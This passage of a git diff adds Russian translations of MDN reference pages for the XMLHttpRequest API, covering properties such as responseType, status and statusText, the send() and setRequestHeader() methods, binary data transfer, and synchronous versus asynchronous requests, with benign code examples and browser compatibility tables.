+xhr.send(null);
+ +

Спецификации

+ +

 

+ + + + + + + + + + + + + + + + +
Спецификация СтатусComment
{{SpecName('XMLHttpRequest', '#the-responsetext-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Браузерная совместимость

+ + + +

{{Compat("api.XMLHttpRequest.responseText")}}

diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html new file mode 100644 index 0000000000..91e38522bf --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html @@ -0,0 +1,137 @@ +--- +title: XMLHttpRequest.responseType +slug: Web/API/XMLHttpRequest/responseType +translation_of: Web/API/XMLHttpRequest/responseType +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.responseType Свойство является перечислимым значением, которое возвращает тип ответа. Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию text. Установка значения responseType в «document» игнорируется, если выполняется в  рабочей среде. При настройке responseType на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным responseType, значение response будет null. Кроме того, установка responseType для синхронных запросов вызовет исключение InvalidAccessError.

+ +

Поддерживаемые значения responseType:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueData type of response property
""{{domxref("DOMString")}} (this is the default value)
"arraybuffer"{{domxref("ArrayBuffer")}}
"blob"{{domxref("Blob")}}
"document"{{domxref("Document")}}
"json"JSON
"text"{{domxref("DOMString")}}
"moz-chunked-arraybuffer" {{non-standard_inline}} +

Похоже на "arraybuffer", но потоковое. Это означает, что значение в response доступно только при отправке "progress" события и содержит только данные, полученные с момента последнего "progress" события.

+ +

При response обращении во время события "progress" он содержит строку с данными. В противном случае он возвращается null.

+ +

Этот режим работает только в Firefox.. {{gecko_minversion_inline("9.0")}}

+
"ms-stream"{{non-standard_inline}}Указывает, что ответ является частью потоковой загрузки. Он поддерживается только для запросов на загрузку. Этот режим доступен только в Internet Explorer.
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-responsetype-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support31{{CompatVersionUnknown}}12[1]10187.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support +

4.0.3 [2]
+ 4.4

+ 		55{{CompatVersionUnknown}}50[1]10{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Проприетарный moz-blob и moz-chunked-text значения полностью удалены в Firefox 58.

+ +

[2] Поддерживается только text и arraybuffer.

diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html new file mode 100644 index 0000000000..ed61b3451b --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html @@ -0,0 +1,42 @@ +--- +title: XMLHttpRequest.responseURL +slug: Web/API/XMLHttpRequest/responseURL +translation_of: Web/API/XMLHttpRequest/responseURL +--- +
{{APIRef('XMLHttpRequest')}}
+ +

Свойство XMLHttpRequest.responseURL доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен null. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение responseURL станет окончательным URL, получаемым после любых редиректов.

+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/test', true);
+xhr.onload = function () {
+  console.log(xhr.responseURL); // http://example.com/test
+};
+xhr.send(null);
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-responseurl-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Браузерная совместимость

+ + + +

{{Compat("api.XMLHttpRequest.responseURL")}}

diff --git a/files/ru/web/api/xmlhttprequest/responsexml/index.html b/files/ru/web/api/xmlhttprequest/responsexml/index.html new file mode 100644 index 0000000000..950d731c0d --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/responsexml/index.html @@ -0,0 +1,142 @@ +--- +title: XMLHttpRequest.responseXML +slug: Web/API/XMLHttpRequest/responseXML +tags: + - AJAX + - API + - XMLHttpRequest + - Отправка + - Свойство + - Справка + - Только для чтения + - загрузка +translation_of: Web/API/XMLHttpRequest/responseXML +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Свойство XMLHttpRequest.responseXML это доступное только для чтения значение, которое содержит {{domxref("Document")}} содержащий HTML или XML полученный запросом, или null в случае, если запрос не был успешен, ещё не был отправлен или полученные данные не могут быть корректно обработаны как XML или HTML. Ответ обрабатывается так, как если бы это был "text/xml". В случае, если {{domxref("XMLHttpRequest.responseType", "responseType")}} установлен как "document" и запрос был осуществлён асинхронно, ответ обрабатывается как "text/html". responseXML содержит null для любых других типов данных так же, как и для data: URLs.

+ +
+

Название responseXML это наследие истории этого свойства, на самом деле оно работает как для HTML, так и для XML.

+
+ +

Если сервер не определяет заголовок {{HTTPHeader("Content-Type")}} как "text/xml" или "application/xml", вы в любом случае можете использовать {{domxref("XMLHttpRequest.overrideMimeType()")}} чтобы заставить XMLHttpRequest обрабатывать ответ как XML.

+ +

Синтаксис

+ +
var data = XMLHttpRequest.responseXML;
+
+ +

Значение

+ +

{{domxref("Document")}} содержащий древовидный результат обработки XML или HTML, полученных с использованием {{domxref("XMLHttpRequest")}}, или null, если данные не были получены или содержат другой тип данных.

+ +

Исключения

+ +
+
InvalidStateError
+
{{domxref("XMLHttpRequest.responseType", "responseType")}} не является "document" или пустой строкой (каждый из которых указывает, что принятые данные это XML или HTML).
+
+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// Значение responseType, если указано, должно быть пустой строкой или "document"
+xhr.responseType = 'document';
+
+// overrideMimeType() может быть использован, чтобы заставить ответ обрабатываться как XML
+xhr.overrideMimeType('text/xml');
+
+xhr.onload = function () {
+  if (xhr.readyState === xhr.DONE) {
+    if (xhr.status === 200) {
+      console.log(xhr.response);
+      console.log(xhr.responseXML);
+    }
+  }
+};
+
+xhr.send(null);
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-responsexml-attribute')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
+ +

Браузерная совместимость

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)[1]Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1]  До Firefox 51, обработка ошибок полученных данных добавляла узел <parsererror> в верх {{domxref("Document")}} и затем возвращала Document в каком бы состоянии он ни оказывался. Это было расхождение со спецификацией. Начиная с Firefox 51 сейчас в этом случае возвращается null, как и указано в спецификации.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html new file mode 100644 index 0000000000..4ad9a4cd9e --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/send/index.html @@ -0,0 +1,291 @@ +--- +title: XMLHttpRequest.send() +slug: Web/API/XMLHttpRequest/send +tags: + - AJAX + - API + - HTTP запрос + - XHR + - XHR запрос + - XMLHttpRequest + - send + - запрос +translation_of: Web/API/XMLHttpRequest/send +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Метод XMLHttpRequest.send() отправляет запрос. Если запрос асинхронный (каким он является по-умолчанию), то возврат из данного метода происходит сразу после отправления запроса. Если запрос синхронный, то метод возвращает управление только после получения ответа. Метод send() принимает необязательные аргументы в тело запросов. Если метод запроса GET или HEAD, то аргументы игнорируются и тело запроса устанавливается в null.

+ +

Если заголовок {{HTTPHeader("Accept")}} не был задан с помощью {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}, будет отправлено значение Accept по-умолчанию */*.

+ +

Синтаксис

+ +
XMLHttpRequest.send(body)
+
+ +

Параметры

+ +
+
+

body {{optional_inline}}

+
+
+

Данные из параметра body оправляются в запросе через XHR. Это могут быть:

+ +
    +
  • {{domxref("Document")}}, и в этом случае данные будут сериализованы перед отправкой.
    • +
  • BodyInit, которые, согласно спецификации Fetch могут быть: {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("ReadableStream")}}, или объектом {{domxref("USVString")}}.
    • +
+
+
+ +

Лучший способ передать двоичные данные (например при загрузке файлов) - это использование ArrayBufferView или Blobs в сочетании с методомsend().

+ +

Если никакого значения не определено в качестве body, то будет использовано значение по-умолчанию: null.

+ +

Возвращаемое значение

+ + + +

undefined.

+ +

Исключения

+ + + + + + + + + + + + + + + + + + +
ИсключениеОписание
InvalidStateErrorsend() уже был вызван для запроса, и/или запрос завершен.
NetworkErrorТип запрошенного ресурса - Blob, но метод запроса не GET.
+ + + +

Пример: GET

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.onload = function () {
+  // Запрос завершен. Здесь можно обрабатывать результат.
+};
+
+xhr.send(null);
+// xhr.send('string');
+// xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);
+
+ +

Пример: POST

+ +
var xhr = new XMLHttpRequest();
+xhr.open("POST", '/server', true);
+
+//Передает правильный заголовок в запросе
+xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+
+xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния.
+    if(xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
+        // Запрос завершен. Здесь можно обрабатывать результат.
+    }
+}
+xhr.send("foo=bar&lorem=ipsum");
+// xhr.send('string');
+// xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-send()-method', 'send()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(1)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}{{CompatIe('5')}}[1]
+ {{CompatIe('7')}}		{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
send(ArrayBuffer){{CompatChrome(9)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}{{CompatIe('10')}}{{CompatOpera('11.60')}}{{compatUnknown}}
send(ArrayBufferView){{CompatChrome(22)}}{{CompatUnknown}}{{CompatGeckoDesktop("20.0")}}{{compatUnknown}}{{compatUnknown}}{{compatUnknown}}
send(Blob){{CompatChrome(7)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}{{CompatIe('10')}}{{CompatOpera('12')}}{{compatUnknown}}
send(FormData){{CompatChrome(6)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}{{CompatIe('10')}}{{CompatOpera('12')}}{{compatUnknown}}
send(URLSearchParams){{CompatChrome(59)}}{{CompatUnknown}}{{CompatGeckoDesktop("44.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatChrome(1)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
send(ArrayBuffer){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}{{CompatUnknown}}
send(ArrayBufferView){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}{{CompatUnknown}}
send(Blob){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}{{CompatUnknown}}
send(FormData){{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{compatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
send(URLSearchParams){{CompatUnknown}}{{CompatChrome(59)}}{{CompatUnknown}}{{CompatGeckoMobile("44.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Возможность реализуется с помощью ActiveXObject(). Начиная с версии 7 Internet Explorer реализует стандарт XMLHttpRequest.

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html new file mode 100644 index 0000000000..9cc9ae0a35 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html @@ -0,0 +1,171 @@ +--- +title: Отправка и получение бинарных данных +slug: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data +translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data +--- +

Получение бинарных данных используя JavaScript arrays 

+ +

Свойство responseType объекта XMLHttpRequest можно задать для изменения ожидаемого типа ответа с сервера. Возможные значения: пустая строка (по умолчанию), "arraybuffer", "blob", "document", "json" и "text". Свойство response будет содержать тело сущности в соответствии с типом ответа, как ArrayBuffer, Blob, Document, JSON или string. Это значение равно null, если запрос не завершен или не был успешным.

+ +

В этом примере изображение считывается как двоичный файл и создается 8-разрядный массив целых чисел без знака из необработанных байтов. Обратите внимание, что это не будет декодировать изображение и читать пиксели. Для этого вам понадобится библиотека декодирования png.

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function (oEvent) {
+  var arrayBuffer = oReq.response; // Note: not oReq.responseText
+  if (arrayBuffer) {
+    var byteArray = new Uint8Array(arrayBuffer);
+    for (var i = 0; i < byteArray.byteLength; i++) {
+      // do something with each byte in the array
+    }
+  }
+};
+
+oReq.send(null);
+
+ +

Альтернатива вышеуказанному методу использует интерфейс {{domxref("Blob")}} для непосредственного построения Blob с данными arraybuffer.

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "arraybuffer";
+
+oReq.onload = function(oEvent) {
+  var blob = new Blob([oReq.response], {type: "image/png"});
+  // ...
+};
+
+oReq.send();
+
+ +

Также вы можете прочитать двоичный файл как {{domxref ("Blob")}}, установив строку" blob " в свойство responseType.

+ +
var oReq = new XMLHttpRequest();
+oReq.open("GET", "/myfile.png", true);
+oReq.responseType = "blob";
+
+oReq.onload = function(oEvent) {
+  var blob = oReq.response;
+  // ...
+};
+
+oReq.send();
+ +

Получение бинарных данных в старых браузерах

+ +

Функция load_binary_resource(), показанная ниже, загружает двоичные данные из указанного URL, возвращая их вызывающему объекту.

+ +
function load_binary_resource(url) {
+  var req = new XMLHttpRequest();
+  req.open('GET', url, false);
+  //XHR binary charset opt by Marcus Granado 2006 [http://mgran.blogspot.com]
+  req.overrideMimeType('text\/plain; charset=x-user-defined');
+  req.send(null);
+  if (req.status != 200) return '';
+  return req.responseText;
+}
+
+ +

Магия происходит в строке 5, которая переопределяет тип MIME, заставляя браузер рассматривать его как обычный текст, используя пользовательский набор символов. Это говорит браузеру не анализировать его и пропускать байты через необработанные.

+ +
var filestream = load_binary_resource(url);
+var abyte = filestream.charCodeAt(x) & 0xff; // throw away high-order byte (f7)
+
+ +

The example above fetches the byte at offset x within the loaded binary data. The valid range for x is from 0 to filestream.length-1.

+ +

See downloading binary streams with XMLHttpRequest for a detailed explanation. See also downloading files.

+ +

Получение бинарных данных из различных источников

+ +

Библиотека jBinary для работы с бинарными данными в JavaScript позволяет загрузить данные из любого источника, автоматически определяя лучший способ для этого в текущем броузере или Node.js:

+ +
jBinary.load(url).then(function (binary) {
+  // здесь аргумент `binary` может использовться для обработки данных
+  // в любом формате (строка, массив байтов, структура данных и т. д.)
+});
+
+ +

Отправка бинарных данных

+ +

Метод send объекта XMLHttpRequest был расширен, чтобы обеспечить легкую передачу бинарных данных - теперь он принимает объекты ArrayBuffer, {{domxref("Blob")}}, или {{domxref("File")}}.

+ +

В примере ниже на лету создается текстовый файл и отпрвляется методом POST на сервер. Здесь используется обычный текст, но нетрудно представить себе пример с бинарным файлом.

+ +
var oReq = new XMLHttpRequest();
+oReq.open("POST", url, true);
+oReq.onload = function (oEvent) {
+  // Uploaded.
+};
+
+var blob = new Blob(['abc123'], {type: 'text/plain'});
+
+oReq.send(blob);
+
+ +

Отправка типизированнх массивов как бинарных данных

+ +

Точно так же можно отправлять типизированные массивы JavaScript.

+ +
var myArray = new ArrayBuffer(512);
+var longInt8View = new Uint8Array(myArray);
+
+for (var i=0; i< longInt8View.length; i++) {
+  longInt8View[i] = i % 255;
+}
+
+var xhr = new XMLHttpRequest;
+xhr.open("POST", url, false);
+xhr.send(myArray);
+
+ +

Здесь создается и отправляется 512-ти байтовый массив из 8-битных целых чисел, н, разумеется, можно использовать любые двоичные данные.

+ +
Примечание: Поддержка передачи объектов ArrayBuffer с помощью XMLHttpRequest появилась в Gecko 9.0 {{geckoRelease("9.0")}}. Add information about other browsers' support here.
+ +

Отправка форм и загрузка файлов

+ +

См. этот параграф.

+ +

Примеры для Firefox

+ +

В этом примере двоичные данные передаются асинхронно методом POST и нестандартным методом Firefox's sendAsBinary().

+ +
var req = new XMLHttpRequest();
+req.open("POST", url, true);
+// установите заголовок и тип данных
+req.setRequestHeader("Content-Length", 741);
+req.sendAsBinary(aBody);
+
+ +

В строке 4 заголовок Content-Length устанавливается в 741, что означает, что размер данных 741 байт. Разумеется, это значение должно соотвествовать реальному размеру данных.

+ +

В строке 5 метод sendAsBinary() начинает запрос.

+ +
Примечание: Нестандартный метод sendAsBinary начиная с Gecko 31 {{ geckoRelease(31) }} считается устаревшим и скоро будет удален. Вместо него, как показывалось выше, можно использовать стандартный метод send(Blob data).
+ +

Кроме того, чтобы отправить бинарные данные можно передать экземплят {{interface("nsIFileInputStream")}} в метод send(). В этом случае заголовок Content-Length заполнять явно необязательно, поскольку информация получается из потока автоматически:

+ +
// Создание потока из файла.
+var stream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                       .createInstance(Components.interfaces.nsIFileInputStream);
+stream.init(file, 0x04 | 0x08, 0644, 0x04); // file is an nsIFile instance
+
+// Попытка опредедения типа MIME для файла
+var mimeType = "text\/plain";
+try {
+  var mimeService = Components.classes["@mozilla.org/mime;1"]
+          .getService(Components.interfaces.nsIMIMEService);
+  mimeType = mimeService.getTypeFromFile(file); // file is an nsIFile instance
+}
+catch (oEvent) { /* в случае ошибки просто использовать text/plain */ }
+
+// Отправка
+var req = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+                    .createInstance(Components.interfaces.nsIXMLHttpRequest);
+req.open('PUT', url, false); /* синхронный вызов! */
+req.setRequestHeader('Content-Type', mimeType);
+req.send(stream);
+
diff --git a/files/ru/web/api/xmlhttprequest/setrequestheader/index.html b/files/ru/web/api/xmlhttprequest/setrequestheader/index.html new file mode 100644 index 0000000000..24951fda1c --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/setrequestheader/index.html @@ -0,0 +1,110 @@ +--- +title: XMLHttpRequest.setRequestHeader() +slug: Web/API/XMLHttpRequest/setRequestHeader +translation_of: Web/API/XMLHttpRequest/setRequestHeader +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Метод XMLHttpRequest.setRequestHeader() устанавливает значения HTTP заголовков. Метод setRequestHeader()  следует вызывать только после  open(), но до send(). Если метод вызывается несколько раз подряд, значения присоединяется к одному и тому же заголовку.

+ +

Если заголовок {{HTTPHeader("Accept")}} не был установлен, то он будет передан в запросе со значением */* когда будет вызван метод {{domxref("XMLHttpRequest.send", "send()")}}.

+ +

В целях безопасности, некоторые заголовки не могут быть установлены программно. Для более подробной информации, смотрите {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}  и {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}.

+ +
+

Для ваших собственных полей, вы можете увидеть исключение "not allowed by Access-Control-Allow-Headers in preflight response", когда вы делаете кросс-доменный запрос. В этом случае, вам нужно установить заголовок "Access-Control-Allow-Headers" в ответе на стороне сервера.

+
+ +

Синтаксис

+ +
XMLHttpRequest.setRequestHeader(header, value)
+
+ +

Параметры

+ +
+
header
+
Имя устанавливаемого заголовка
+
value
+
Значение, которое будет установлено как тело заголовка
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

Совместимость браузеров

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(1)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatIe('5')}}[1]
+ {{CompatIe('7')}}		{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Эта особенность была реализована через ActiveXObject(). Internet Explorer реализует стандарт XMLHttpRequest начиная с версии 7.

+ +

Смотрите также

+ +

Использование XMLHttpRequest

diff --git a/files/ru/web/api/xmlhttprequest/status/index.html b/files/ru/web/api/xmlhttprequest/status/index.html new file mode 100644 index 0000000000..be8763b829 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/status/index.html @@ -0,0 +1,77 @@ +--- +title: XMLHttpRequest.status +slug: Web/API/XMLHttpRequest/status +tags: + - API + - Error + - Property + - Reference + - XMLHttpRequest + - XMLHttpRequest Status + - result + - status +translation_of: Web/API/XMLHttpRequest/status +--- +
{{APIRef('XMLHttpRequest')}}
+ +

Доступное только для чтения свойство XMLHttpRequest.status, возвращает числовой код состояния HTTP ответа XMLHttpRequest.

+ +

До завершения запроса значение status равно 0. Браузеры также сообщают о состоянии 0 в случае ошибок XMLHttpRequest.

+ +

Пример

+ +
var xhr = new XMLHttpRequest;
+console.log('UNSENT: ', xhr.status);
+
+xhr.open('GET', '/server');
+console.log('OPENED: ', xhr.status);
+
+xhr.onprogress = function () {
+  console.log('LOADING: ', xhr.status);
+};
+
+xhr.onload = function () {
+  console.log('DONE: ', xhr.status);
+};
+
+xhr.send();
+
+/**
+ * Outputs the following:
+ *
+ * UNSENT: 0
+ * OPENED: 0
+ * LOADING: 200
+ * DONE: 200
+ */
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-status-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG живой стандарт
+ +

Совместимость браузера

+ + + +

{{Compat("api.XMLHttpRequest.status")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/xmlhttprequest/statustext/index.html b/files/ru/web/api/xmlhttprequest/statustext/index.html new file mode 100644 index 0000000000..9db0ccb806 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/statustext/index.html @@ -0,0 +1,78 @@ +--- +title: XMLHttpRequest.statusText +slug: Web/API/XMLHttpRequest/statusText +tags: + - AJAX + - API + - Property + - Read-only + - Reference + - XMLHttpRequest + - XMLHttpRequest Status +translation_of: Web/API/XMLHttpRequest/statusText +--- +
{{APIRef('XMLHttpRequest')}}
+ +
+

Свойство XMLHttpRequest.statusText, доступное только для чтения, возвращает строку DOMString, содержащую сообщение о состоянии ответа, возвращаемое HTTP-сервером. В отличие от XMLHTTPRequest.status, который указывает числовой код состояния, это свойство содержит текст состояния ответа, например «OK» или «Not Found». Если запрос readyState находится в состоянии UNSENT или OPENED, значением statusText будет пустая строка.

+ +

Если в ответе сервера явно не указан текст состояния, для statusText будет принято значение по умолчанию «ОК».

+
+ +

Пример

+ +
var xhr = new XMLHttpRequest();
+console.log('0 UNSENT', xhr.statusText);
+
+xhr.open('GET', '/server', true);
+console.log('1 OPENED', xhr.statusText);
+
+xhr.onprogress = function () {
+  console.log('3 LOADING', xhr.statusText);
+};
+
+xhr.onload = function () {
+  console.log('4 DONE', xhr.statusText);
+};
+
+xhr.send(null);
+
+/**
+ * Outputs the following:
+ *
+ * 0 UNSENT
+ * 1 OPENED
+ * 3 LOADING OK
+ * 4 DONE OK
+ */
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-statustext-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG живой стандарт
+ +

Совместимость браузера

+ + + +

{{Compat("api.XMLHttpRequest.statusText")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html new file mode 100644 index 0000000000..ad5e6f8c2c --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html @@ -0,0 +1,234 @@ +--- +title: Синхронные и асинхронные запросы +slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests +--- +

 

+ +

XMLHttpRequest поддерживает как синхронные, так и асинхронные запросы. В основном предпочтительно использовать асинхронные запросы вместо синхронных из-за соображений производительности.

+ +

Синхронный запрос приводит к выполнению кода, который "блокирует" взаимодействие с вкладкой браузера до тех пор, пока запрос не будет полность выполнен, что существенно ухудшает отклик страницы.

+ +

Асинхронные запросы

+ +

Если вы используете асинхронный режим XMLHttpRequest, то после того, как данные будут получены, будет вызвана функция обработчик. Это позволяет браузеру работать нормально пока ваш запрос будет обрабатываться.

+ +

Пример:  отправка запроса и получение файла ответа

+ +

Приведём простейший пример асинхронного запроса XMLHttpRequest.

+ +
var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null);
+ +

2 строка. 3 параметр метода open установлен как true  для того, чтобы явно указать, что этот запрос будет обрабатываться асинхронно.

+ +

3 строка. Создаётся функция обработчик события onload. Этот обработчик следить за параметром readyState, для того, чтобы определить завершена ли передача данных и если это так и HTTP статус 200, то полученные данные выводятся в консоль. А если в результате передачи данных возникла ошибка, то сообщение об ошибки будет выведено в консоль.

+ +

15 строка. Происходит инициализация отправки запроса. Функция обработчик будет вызываться каждый раз, как будет происходить изменения состояния данного запроса.

+ +

Пример: создание стандартной функции для чтения внешних файлов

+ +

В разных сценариях существует необходимость принимать внешние файлы (ответ от сервера, к примеру, json файл). Это стандартная функция, которая использует
+ XMLHttpRequest объект асинхронно, чтобы передать прочитанный контент в специальную функцию обработчик.

+ +
function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+
+ +

Использование:

+ +
function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+
+ +

Сигнатура вспомогательной функции LoadFile следующая: 1 аргумент - URL адрес для запроса (через HTTP GET), 2 аргумент - функция, которая будет вызвана после успешного выполнения ajax запроса и 3 аргумент - список аргументов, которые будут передаваться через XHR объект в функцию, которая была указана во 2 аргументе.

+ +

Строка 1 определяет функцию, которая будет вызвана, когда ajax запрос завершиться успешно. В свою очередь это вызовет функции callback, которая была указана в вызове функции loadFile (то есть функция showMessage) которая была обозначена как свойство XHR объекта (строка 11). Дополнительные аргументы, которые были указаны при вызове функции loadFile, подставляются в вызов callback функции.

+ +

Строка 5 определяет функцию, которая будет вызвана в случаи, если ajax запрос не сможет завершиться успешно.

+ +
